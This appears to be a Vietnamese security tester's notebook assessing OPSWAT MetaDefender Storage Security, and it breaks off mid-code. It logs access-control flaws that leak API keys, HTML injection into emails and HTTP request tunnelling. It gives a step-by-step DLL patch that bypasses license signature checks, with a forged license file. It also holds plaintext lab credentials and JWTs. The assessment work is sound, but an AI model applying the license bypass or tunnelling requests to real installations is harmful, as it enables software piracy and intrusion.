Tasks

- [x] Config
	- [x] SMTP
	- [ ] Kafka
	- [x] Syslog
	- [x] SSO
	- [x] Webhook
- [x] Decompilation
- [x] Deobfuscate
- [x] Nginx misconfiguration
- [x] Scan source code with SemGrep
- [x] Settings
	- [x] SMTP
	- [x] External Loggers
	- [x] SSO
		- [x] OIDC
		- [x] SAML
	- [x] S3 Compatible - MinIO
- [x] OCM (VPack)
- [x] Audit
- [ ] WebSocket
- [x] Using features without license

Resources

Configuration

Thông tin chung:

  • MFT Server:
    • URL: http://10.40.144.103:8010
    • API Key: bZ8AIJGePFOmbmlS2xY3Z0asoLwo9e
  • Ubuntu Server’s Password: mdss@1337
  • Auth Analyzer Extension’s Exclude Paths: /api/report, /api/ocm, /api/group, /api/configuration/enabledModules, /api/storage/all, /api/storage/scan_schedules, /api/audit/, /dashboard/,/api/version,/api/onboarding

SMTP

Sử dụng hMailServer với domain là pentest.local.

Kafka

Tham khảo Apache Kafka để cấu hình.

Câu lệnh chạy Kakfa thông qua Docker:

docker run -it -d --name kafka -p 9092:9092 apache/kafka:4.0.0

Allow port 9092 để có thể truy cập từ xa:

sudo ufw allow 9092

Khi sử dụng Kafka thông qua Docker, truy cập vào /opt/kafka/bin của container để tìm các script tương tác với Kafka.

Câu lệnh tạo topic:

/opt/kafka/bin/kafka-topics.sh --create --topic mdss --bootstrap-server localhost:9092

Xem các config của Kafka:

./kafka-configs.sh  --describe --all --bootstrap-server localhost:9092 --entity-type brokers
[Issues with API version negotiation between Kafka producer client and Kafka broker · Issue #2175 · confluentinc/confluent-kafka-dotnet](https://github.com/confluentinc/confluent-kafka-dotnet/issues/2175)

Syslog Server

Có thể dùng PRTG hoặc Syslog Watcher.

Nếu dùng PRTG thì chỉnh port của web console sang một port khác 80 để không bị trùng với MDSS.

Webhook

Sử dụng https://webhook.site để nhận thông báo khi một scan nào đó hoàn thành.

URL:

https://webhook.site/#!/view/5d1c8d92-7fbc-49ec-8439-d94ceba717e1/6ab6a1c3-214e-46b9-94cc-7b2518d13795/1

HTTPS

Thiết lập HTTPS bằng cách tạo ra chứng chỉ và khóa riêng tư:

openssl req -x509 -newkey rsa:4096 -nodes -sha256 -days 365 \
  -keyout ssl.key \                                
  -out ssl.crt \                                
  -subj "/CN=localhost"

Sau đó, uncomment các dòng sau trong file C:\Program Files\OPSWAT\MetaDefender Storage Security\config\nginx\nginx.conf:

listen 443 ssl;
ssl_certificate ../../config/nginx/certificates/ssl.crt;
ssl_certificate_key ../../config/nginx/certificates/ssl.key;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384';
ssl_prefer_server_ciphers on;

Restart lại service MetaDefender Secure Storage để Nginx đọc cấu hình mới và chạy port 443 dành cho HTTPS.

OIDC

Dựa trên chỉ dẫn của Single Sign On - MetaDefender Storage Security để cấu hình SSO.

Chỉ có thể đăng nhập bằng SSO khi đã thiết lập HTTPS.

SAML

Dựa trên chỉ dẫn của Setting up Active Directory Federation Services (ADFS) - Documentation & User Guides | Fotoware để tạo ra ADFS instance.

Chỉ dẫn của AD FS Specific Configuration - MetaDefender Storage SecurityAD FS SAML2 Specific Configuration - MetaDefender Storage Security để cấu hình chi tiết.

Các giá trị dùng trong cài đặt:

Tuy nhiên, vẫn không thể xác thực bằng phương pháp này.

Architecture & Technology Stack

  • Microservices: sử dụng architectural pattern CQRS.
  • Dot NET (có thể decompile).
  • Nginx version 1.26.1: không thể khai thác CVE nào.
  • WebSocket: sử dụng thư viện SignalR không có CVE nào.

Commands & Scripts

Script dùng để decompile hàng loạt các DLL của OPSWAT ở trong thư mục C:\Program Files\OPSWAT\MetaDefender Storage Security\services: DecompileOpswatDlls.ps1

Findings

Source Code Decompile

Backend

Một số thư mục nổi bật:

  • opswat.mdcs.mongomigrations chứa các script liên quan đến việc migrate MongoDB. Đã check qua các script và không tìm thấy gì.
  • opswat.mdcs.smbservice liên quan đến giao thức SMB và được viết bằng Python.
  • opswat.mdcs.webclient được sử dụng cho Nginx (Frontend).

Danh sách các controller:

AccountController.cs
ApiKeyController.cs
AuditController.cs
ConfigurationController.cs
ConnectorController.cs
ControllerExtensions.cs
CorePoolController.cs
DeepCdrController.cs
ExternalLoggerController.cs
FileController.cs
GroupController.cs
HealthController.cs
MetaDefenderCoreController.cs
OcmController.cs
OnboardingController.cs
ReportController.cs
ScanConfigurationController.cs
ScanController.cs
ScanInstanceController.cs
ScanPoolController.cs
ScanWorkflowSnapshotController.cs
SecurityChecklistController.cs
SettingsController.cs
SsoController.cs
StorageController.cs
UserController.cs
UserTourController.cs
VersionController.cs
WebhookController.cs
WorkflowController.cs

Frontend

Về phần frontend, sau khi deobfuscate file JavaScript thì tìm thấy đoạn sau:

class age {
	constructor() {
	  this.baseUrl = "/api";
	  this.tokenRefreshing = false;
	  this.pendingRequests = [];
	  this.verifyAuthentication = async () => this.sessionManager.verifyAuthentication();
	  this.getCommonHeaders = () => this.instance.defaults.headers.common;
	  this.loginUser = n => {
		const r = new AbortController();
		return this.instance.post("user/authenticate", n, {
		  headers: {
			...this.getCommonHeaders()
		  },
		  signal: r.signal
		});
	  };
	  this.registerUser = n => {
		const r = new AbortController();
		return this.instance.post("user/register", n, {
		  signal: r.signal
		});
	  };
	  this.modifyPassword = n => {
		const r = new AbortController();
		return this.instance.post("user/password", n, {
		  signal: r.signal
		});
	  };
	  this.validateSecureToken = n => {
		const r = new AbortController();
		return this.instance.post("user/password/reset/validate", n, {
		  signal: r.signal
		});
	  };

Có thể thấy, đây chính là đoạn code gọi các API.

Biến this.instance có giá trị là:

this.instance = Wr.create({
	baseURL: this.baseUrl,
	headers: t && t !== wi ? {
	  Authorization: `Bearer ${t}`
	} : {},
	withCredentials: t === wi
});

Nginx Misconfiguration ❌

Đã sử dụng tool gixy cho config của Nginx ở đường dẫn C:\Program Files\OPSWAT\MetaDefender Storage Security\config\nginx\:

docker run --rm -v "C:/Program Files/OPSWAT/MetaDefender Storage Security/config/nginx/:/etc/nginx/conf/" yandex/gixy /etc/nginx/conf/nginx.conf
 
==================== Results ===================
 
>> Problem: [alias_traversal] Path traversal via misconfigured alias.
Severity: MEDIUM
Description: Using alias in a prefixed location that doesn't ends with directory separator could lead to path traversal vulnerability.
Additional info: https://github.com/yandex/gixy/blob/master/docs/en/plugins/aliastraversal.md
Pseudo config:
 
server {
        server_name _;
 
        location /v2 {
                alias ../../data/webclient/v2;
        }
}
 
==================== Summary ===================
Total issues:
    Unspecified: 0
    Low: 0
    Medium: 1
    High: 0

Tuy nhiên, khi cố gắng thực hiện path traversal:

GET /v2/../../ HTTP/1.1
Host: localhost

Thì nhận được kết quả như sau:

HTTP/1.1 400 Bad Request
Server: nginx
Date: Mon, 14 Apr 2025 08:40:05 GMT
Content-Type: text/html
Content-Length: 150
Connection: close
X-Content-Type-Options: nosniff
Content-Security-Policy: default-src 'self'; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline'; img-src 'self' data:;
Strict-Transport-Security: max-age=15724800; includeSubDomains
 
<html>
<head><title>400 Bad Request</title></head>
<body>
<center><h1>400 Bad Request</h1></center>
<hr><center>nginx</center>
</body>
Có thể kết quả trên đến từ cấu hình `root` trong đoạn sau:
 
~~~txt
location / {
	try_files $uri $uri/ /index.html;
	root   ../../data/webclient;
	index  index.html index.htm;
	limit_except GET POST PUT DELETE PATCH OPTIONS { deny  all; } 
}
~~~

Broken Access Control 🪲

Một số tính năng không khả dụng trên UI nhưng người dùng read-only vẫn có thể gửi request để sử dụng:

`GET /api/ocm`
`GET /api/group`
`GET /api/storage/scan_schedules/{scanScheduleUuid}/1/0/5`
`GET /api/storage/all`

Tuy nhiên, các API này hiện tại chưa có thông tin nào sensitive.

Tìm được các API có chứa sensitive data mà cụ thể là API key của core instances và MFT:

`GET /api/report?storageId={storageId}&sortDirectionFilter={sortDirectionFilter}`
`GET /api/scanworkflowsnapshot/getAllFromScan/{scanId}`
`GET /api/scan/new_active/{id}`
API key của MFT đã bị mã hóa.

Cả 3 API trên đều có object thuộc class sau trong response:

[Serializable]
public sealed class ScanPoolDto
{
	public string Id { get; set; }
 
	public string Name { get; set; }
 
	public IEnumerable<ScanInstanceDto> ScanInstances { get; set; }
}

Giá trị của API key nằm trong class ScanInstanceDto:

[Serializable]
public sealed class ScanInstanceDto
{
	public string Id { get; set; }
 
	public required string Url { get; set; }
 
	public string ApiKey { get; set; }
 
	public required TimeSpan Timeout { get; set; }
 
	[EnumDataType(typeof(ScanInstanceTypeDto))]
	public ScanInstanceTypeDto ScanInstanceType { get; set; }
}
Tìm các class mà có field với kiểu là `ScanPoolDto`/`ScanInstanceDto` rồi tìm controller tương ứng. Khi có controller, ta có thể thử request  bằng readonly user để kiểm tra phân quyền.
 
Tìm được các class sau có field với kiểu là `ScanPoolDto`:
- `ScanConfigurationDto`: API key đã bị che:
	~~~csharp
	.ForEach(delegate(ScanInstanceDto i)
	{
		i.ApiKey = string.Empty;
	});
	getWorkflowsResponse.Entries.Where((WorkflowDto s) => s.FailOverScanPool != null).SelectMany((WorkflowDto s) => s.FailOverScanPool.ScanInstances).ToList()
	.ForEach(delegate(ScanInstanceDto i)
	{
		i.ApiKey = string.Empty;
	});
	~~~
- `VPackConfigDto`: class này không được sử dụng.
 
Tìm được các class sau có field với kiểu là `ScanInstanceDto` (trừ `ScanPoolDto`):
- `VPackConfigDto`: class này không được sử dụng.
- `ScanWorkflowSnapshotDto` (`GET /api/scanworkflowsnapshot/getAllFromScan/{scanId}`). Tìm được các class sau có field với kiểu là `ScanWorkflowSnapshotDto`:
	- `ScanDto` (`GET /api/report?storageId={storageId}&sortDirectionFilter={sortDirectionFilter}`). Class này còn có 2 class kế thừa là `ActiveScanDto` (`GET /api/scan/new_active/{id}`) và `RealtimeScanDto` nhưng `RealtimeScanDto` không chứa API key khi được trả về trong response.
	- `FileDto`: không chứa API key khi được trả về trong response.

Sau khi sử dụng cách tiếp cận trên, chủ yếu tập trung vào ScanDto, tìm ra được thêm các API sau:

`GET /api/scan/new_last_completed/{storageId}`
`GET /api/scan/last_completed/{storageId}`
`GET /api/scan/sequence/{scanId}`
`GET /api/scan/{scanId}`

Email Content Injection 🪲

Khi tạo mới một scan, có thể inject HTML vào field name:

Mặc dù ở trên frontend thì field `name` bị giới hạn số ký tự nhưng backend thì không.

Khi scan hoàn thành thì tên scan sẽ được render ra trong email body (cũng như là trong subject của email) gửi đến người dùng:

DoS via JSON Deserialization ❌

Khi truyền vào field configuration một JSON lớn trong request body của endpoint /api/externallogger/kafka:

{
  "topic" : "mdss",
  "isEnabled" : true,
  "serverAddressWithPortList" : "10.40.244.122:9092",
  "configuration" : "{\"SecurityProtocol\":\"PLAINTEXT\"}"
}

Log của service mdcs.logging là:

[2025-04-16 03:31:22Z] [Error] logging.service: ("CommonLibrary") An error has occurred during deserialization of object
System.Text.Json.JsonException: The maximum configured depth of 64 has been exceeded. Cannot read next JSON object. Path: $.a | LineNumber: 0 | BytePositionInLine: 320.
 ---> System.Text.Json.JsonReaderException: The maximum configured depth of 64 has been exceeded. Cannot read next JSON object. LineNumber: 0 | BytePositionInLine: 320.
   at System.Text.Json.ThrowHelper.ThrowJsonReaderException(Utf8JsonReader& json, ExceptionResource resource, Byte nextByte, ReadOnlySpan`1 bytes)
   at System.Text.Json.Utf8JsonReader.StartObject()
   at System.Text.Json.Utf8JsonReader.ConsumeValue(Byte marker)
   at System.Text.Json.Utf8JsonReader.ReadSingleSegment()
   at System.Text.Json.Serialization.Converters.ObjectDefaultConverter`1.OnTryRead(Utf8JsonReader& reader, Type typeToConvert, JsonSerializerOptions options, ReadStack& state, T& value)
   at System.Text.Json.Serialization.JsonConverter`1.TryRead(Utf8JsonReader& reader, Type typeToConvert, JsonSerializerOptions options, ReadStack& state, T& value, Boolean& isPopulatedValue)
   at System.Text.Json.Serialization.JsonConverter`1.ReadCore(Utf8JsonReader& reader, T& value, JsonSerializerOptions options, ReadStack& state)
   --- End of inner exception stack trace ---
   at System.Text.Json.ThrowHelper.ReThrowWithPath(ReadStack& state, JsonReaderException ex)
   at System.Text.Json.Serialization.JsonConverter`1.ReadCore(Utf8JsonReader& reader, T& value, JsonSerializerOptions options, ReadStack& state)
   at System.Text.Json.JsonSerializer.ReadFromSpan[TValue](ReadOnlySpan`1 json, JsonTypeInfo`1 jsonTypeInfo)
   at opswat.mdcs.common.JsonParser`1.Deserialize(String data, JsonSerializerOptions options) in /app/Backend/src/Shared/Submodules/mdss-common-library/opswat.mdcs.common/Classes/JsonParser.cs:line 32
[2025-04-16 03:31:22Z] [Error] logging.service: Failed to deserialize Kafka configuration ((serverAddressList: 10.40.244.122:9092; topic: mdss; configuration: {"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":"a"}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}))

Điều này cho thấy ứng dụng tự động quăng exception khi độ sâu của JSON là quá lớn và điều này giúp ứng dụng không bị DoS.

HTTP Request Tunneling

Khi gửi request đến endpoint của SignalR (/hubs/signalr/negotiate?negotiateVersion=1), nếu chúng ta bỏ header Content-Length và thêm vào request line cũng như là Host header ở dưới request body:

POST /hubs/signalr/negotiate?negotiateVersion=1&gsbven8=1 HTTP/1.1
Host: 10.40.144.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
X-Requested-With: XMLHttpRequest
X-SignalR-User-Agent: Microsoft SignalR/8.0 (8.0.7; Unknown OS; Browser; Unknown Runtime Version)
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1laWQiOiI3NjZjN2Y3YS02YjEyLTQzNjgtYjBjNS00ODVlOGRkMzViNTkiLCJ1bmlxdWVfbmFtZSI6ImFkbWluIiwiZW1haWwiOiJhZG1pbkBwZW50ZXN0LmxvY2FsIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy91c2VyZGF0YSI6Im5mb1hRcXRCTy9ocXdiTUtwdEVhSklIOFFLaWxTd3M5RU51eDBGbEdPK2x3YStxT1laNkJZUWtjRTRSQTkyeUciLCJyb2xlIjoiQWRtaW5pc3RyYXRvciIsIkF1dGhQcm92aWRlciI6Ijk5IiwibmJmIjoxNzQ0Nzg5MzU0LCJleHAiOjE3NDQ3OTI5NTQsImlhdCI6MTc0NDc4OTM1NH0.elDHiWMIzvtVk4m7A98C5CtguKsHrgo3mLacTVLnxME
 
 
GET / HTTP/1.1
Host: localhost
 
 

Thì response sẽ là:

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 16 Apr 2025 08:39:48 GMT
Content-Type: application/json
Content-Length: 316
Connection: keep-alive
Referrer-Policy: no-referrer
X-Content-Type-Options: nosniff
Content-Security-Policy: default-src 'self'; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline'; img-src 'self' data:;
Strict-Transport-Security: max-age=15724800; includeSubDomains
 
{"negotiateVersion":1,"connectionId":"9V8zL4LwLuVpnrmiMtptnA","connectionToken":"GMu0WR7ZKdQOBCkeRkcPaA","availableTransports":[{"transport":"WebSockets","transferFormats":["Text","Binary"]},{"transport":"ServerSentEvents","transferFormats":["Text"]},{"transport":"LongPolling","transferFormats":["Text","Binary"]}]}
 
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 16 Apr 2025 08:39:48 GMT
Content-Type: text/html
Content-Length: 494
Last-Modified: Tue, 01 Apr 2025 01:33:04 GMT
Connection: keep-alive
ETag: "67eb4250-1ee"
Referrer-Policy: no-referrer
X-Content-Type-Options: nosniff
Content-Security-Policy: default-src 'self'; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline'; img-src 'self' data:;
Strict-Transport-Security: max-age=15724800; includeSubDomains
Accept-Ranges: bytes
 
<!doctype html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <link rel="icon" type="image/x-icon" href="/assets/favicon-B3x-M381.ico" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>MetaDefender Storage Security</title>
    <script type="module" crossorigin src="/assets/index-XTvvbeis.js"></script>
    <link rel="stylesheet" crossorigin href="/assets/index-5d5aT_rG.css">
  </head>
  <body>
    <div id="root"></div>
  </body>
</html>

Điều này cho thấy, ta có thể thực hiện tunnel request.

Thật ra, hành vi này còn có thể xảy ra ở các endpoint khác chẳng hạn như:

POST /api/ocm/ HTTP/1.1
Host: 10.40.144.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
X-Requested-With: XMLHttpRequest
X-SignalR-User-Agent: Microsoft SignalR/8.0 (8.0.7; Unknown OS; Browser; Unknown Runtime Version)
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1laWQiOiI3NjZjN2Y3YS02YjEyLTQzNjgtYjBjNS00ODVlOGRkMzViNTkiLCJ1bmlxdWVfbmFtZSI6ImFkbWluIiwiZW1haWwiOiJhZG1pbkBwZW50ZXN0LmxvY2FsIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy91c2VyZGF0YSI6Im5mb1hRcXRCTy9ocXdiTUtwdEVhSklIOFFLaWxTd3M5RU51eDBGbEdPK2x3YStxT1laNkJZUWtjRTRSQTkyeUciLCJyb2xlIjoiQWRtaW5pc3RyYXRvciIsIkF1dGhQcm92aWRlciI6Ijk5IiwibmJmIjoxNzQ0NzkyOTYxLCJleHAiOjE3NDQ3OTY1NjEsImlhdCI6MTc0NDc5Mjk2MX0.HIiI7q6HWVnhJdhPcm7yk3_YFDpP9ywmilzO0BPFLI8
Origin: https://kg6mflo6.com
Connection: keep-alive
 
GET / HTTP/1.1
Host: localhost
 
 

Response:

HTTP/1.1 400 Bad Request
Server: nginx
Date: Wed, 16 Apr 2025 09:43:10 GMT
Content-Length: 0
Connection: keep-alive
X-Content-Type-Options: nosniff
Content-Security-Policy: default-src 'self'; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline'; img-src 'self' data:;
Strict-Transport-Security: max-age=15724800; includeSubDomains
 
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 16 Apr 2025 09:43:10 GMT
Content-Type: text/html
Content-Length: 494
Last-Modified: Tue, 01 Apr 2025 01:33:04 GMT
Connection: keep-alive
ETag: "67eb4250-1ee"
Referrer-Policy: no-referrer
X-Content-Type-Options: nosniff
Content-Security-Policy: default-src 'self'; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline'; img-src 'self' data:;
Strict-Transport-Security: max-age=15724800; includeSubDomains
Accept-Ranges: bytes
 
<!doctype html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <link rel="icon" type="image/x-icon" href="/assets/favicon-B3x-M381.ico" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>MetaDefender Storage Security</title>
    <script type="module" crossorigin src="/assets/index-XTvvbeis.js"></script>
    <link rel="stylesheet" crossorigin href="/assets/index-5d5aT_rG.css">
  </head>
  <body>
    <div id="root"></div>
  </body>
</html>
Các request được Nginx tự động forward đến API gateway ở URL `http://localhost:8005` và không thể gửi request đến một host khác trong internal network. Hơn thế nữa, các request được kiểm tra xác thực và phân quyền ở API gateway nên ta không thể bypass được access control, cho dù đó là một request được cắt ra bởi Nginx.
title: Giả sử ứng dụng phân quyền bằng Nginx thì liệu ta có thể giấu một request mà không có JWT/cookie ở trong một request mà có JWT/cookie được hay không?

License Cracking 🪲

Ở trong report cũ có bug liên quan đến việc crack license: MDSS Pentest Report - 2024.08 - Shared Engineering Services - Confluence. Tuy nhiên, việc khai thác chỉ triển khai ở trên Linux bằng cách chỉnh sửa kết quả đầu ra của script mdklicense thành luôn đúng. Khi đó, hàm ValidateSignature của opswat.mdcs.license.service sẽ luôn trả về true và điều này khiến cho license file luôn hợp lệ:

public static bool ValidateSignature(string licenseFilePath)
{
	DefaultInterpolatedStringHandler defaultInterpolatedStringHandler = new DefaultInterpolatedStringHandler(18, 2);
	defaultInterpolatedStringHandler.AppendLiteral("-c \"./");
	defaultInterpolatedStringHandler.AppendFormatted("mdklicense");
	defaultInterpolatedStringHandler.AppendLiteral(" signature ");
	defaultInterpolatedStringHandler.AppendFormatted(licenseFilePath);
	defaultInterpolatedStringHandler.AppendLiteral("\"");
	string text = LicenseSdkLinux.RunMdkLicenseTool(defaultInterpolatedStringHandler.ToStringAndClear());
	if (string.IsNullOrWhiteSpace(text))
	{
		Log.Error<string>("No output received from {MdkLicenseToolName}", "mdklicense");
		return false;
	}
	if (text.Contains("Signature: valid", StringComparison.OrdinalIgnoreCase))
	{
		return true;
	}
	Log.Error<string>("Error output received from {MdkLicenseToolName}:", "mdklicense" + Environment.NewLine + text);
	return false;
}

Dẫu vậy, ta cũng có thể thực hiện tương tự cho Windows. Cụ thể hơn, ta sẽ chỉnh sửa hàm ValidateLicenseSignature:

public static bool ValidateLicenseSignature(string licenseFileContent)
{
	bool flag5;
	try
	{
		IntPtr intPtr = LicenseSdkWindows.ValidateSignature(licenseFileContent);
		if (intPtr == IntPtr.Zero)
		{
			throw new ExternalException("Failed to validate license signature");
		}
		string text = Marshal.PtrToStringAnsi(intPtr);
		LicenseSdkWindows.FreeHeapMemory(intPtr);
		if (text == null)
		{
			throw new ArgumentNullException("parsedPtrContent");
		}
		IReadOnlyDictionary<string, string> readOnlyDictionary;
		bool flag = LicenseServiceUtil.TryParseLicense(text, out readOnlyDictionary);
		IReadOnlyDictionary<string, string> readOnlyDictionary2;
		bool flag2 = LicenseServiceUtil.TryParseLicense(licenseFileContent, out readOnlyDictionary2);
		string empty = string.Empty;
		string empty2 = string.Empty;
		bool flag3 = flag && readOnlyDictionary.TryGetValue("deployment", out empty);
		bool flag4 = flag2 && readOnlyDictionary2.TryGetValue("deployment", out empty2);
		flag5 = flag3 && flag4 && empty.Equals(empty2);
	}
	catch (DllNotFoundException)
	{
		Log.Error("License SDK Wrapper is missing. Please read `HOW-TO-DEBUG-LICENSE-SERVICE-WITH-VISUAL-STUDIO` file for more details: ");
		throw;
	}
	return flag5;
}

Để chỉnh sửa, ta cần sử dụng dnSpyEx/dnSpy (ILSpy, dotPeek không cho phép chỉnh sửa) và chuột phải vào hàm rồi chọn “Edit IL Instructions”. Sau đó, thêm vào 2 nop instruction ở đầu:

Kế đến, thay đổi instruction đầu tiên thành ldc.i4 1 (ldc.i4 có nghĩa là Load Constant Int32, giúp load một số nguyên 4 byte hay 32 bit vào stack) và thay đổi instruction thứ hai thành ret để trả về kết quả ở trên stack.

Mã nguồn của hàm sẽ trở thành:

// opswat.mdcs.license.service.LicenseSdkWindows
// Token: 0x060000D4 RID: 212 RVA: 0x00004A6C File Offset: 0x00002C6C
public static bool ValidateLicenseSignature(string licenseFileContent)
{
	return true;
	try
	{
	}
	catch (DllNotFoundException)
	{
		Log.Error("License SDK Wrapper is missing. Please read `HOW-TO-DEBUG-LICENSE-SERVICE-WITH-VISUAL-STUDIO` file for more details: ");
		throw;
	}
}

Cuối cùng, chọn “File” > “Save Module” để lưu lại DLL đã được vá và sao chép nó vào thư mục của opswat.mdcs.license.service (nhớ dừng service MetaDefender Storage Security của Windows trước).

Lúc này, ta có thể sử dụng license file với invalid signature chẳng hạn như:

---
product_id: MD-STORAGE-SA-EVAL
product_name: MetaDefender for Secure Storage - Evaluation
licensed_to: |
 OPSWAT
deployment: MDSSN92rs084YWowAifCpYUSPkMJ5zH23NqV
serial: 3
expiration: 09/30/2077
amazon_user_limit: -1
onedrive_user_limit: -1
box_user_limit: -1
azure_blob_user_limit: -1
alibaba_cloud_user_limit: -1
google_cloud_user_limit: -1
...
---
signature: 1337
...

Insecure Deserialization ❌

Hàm sau ở trong BoxItemConverter.cs sử dụng JsonConvert.DeserializeObject mà có thể bị khai thác lỗ hổng Insecure Deserialization: PayloadsAllTheThings/Insecure Deserialization/DotNET.md at master · swisskyrepo/PayloadsAllTheThings

public override List<BoxItem> Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options)
	{
		List<BoxItem> list = new List<BoxItem>();
		foreach (JsonElement item in JsonElement.ParseValue(ref reader).EnumerateArray())
		{
			JsonElement property = item.GetProperty("type");
			if (property.ValueKind == JsonValueKind.Null)
			{
